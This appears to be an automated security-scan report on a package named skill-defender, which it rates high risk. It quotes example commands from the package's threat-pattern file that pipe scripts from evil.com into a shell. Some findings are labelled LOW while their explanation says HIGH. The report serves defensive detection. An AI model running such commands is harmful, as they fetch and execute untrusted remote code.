Summary
skill-defender v1.0.0 was classified as HIGH RISK with a risk score of 44. Sigil detected 30 findings across 5 files, covering phases including install hooks, code patterns, network exfiltration, credential access, obfuscation. Review the findings below before installing this package.
v1.0.0
3 May 2026, 11:41 UTC
by Sigil Bot
Risk Score
44
Findings
30
Files Scanned
5
Provenance
Findings by Phase
Phase Ordering
Phases are ordered by criticality, with the most dangerous at the top. Click any phase header to expand or collapse its findings. Critical phases are expanded by default.
install-makefile-curl
LOWMakefile/script pipes remote content to shell
references/threat-patterns.md:56
|---------|---------|
| `curl ... \| sh` | `curl https://evil.com/setup.sh \| sh` |
| `wget ... \| sh` | `wget -qO- https://evil.com/payload \| bash` |Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
LOWMakefile/script pipes remote content to shell
references/threat-patterns.md:57
| `curl ... \| sh` | `curl https://evil.com/setup.sh \| sh` |
| `wget ... \| sh` | `wget -qO- https://evil.com/payload \| bash` |
| `bash <(curl ...)` | `bash <(curl -s https://evil.com/install)` |Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
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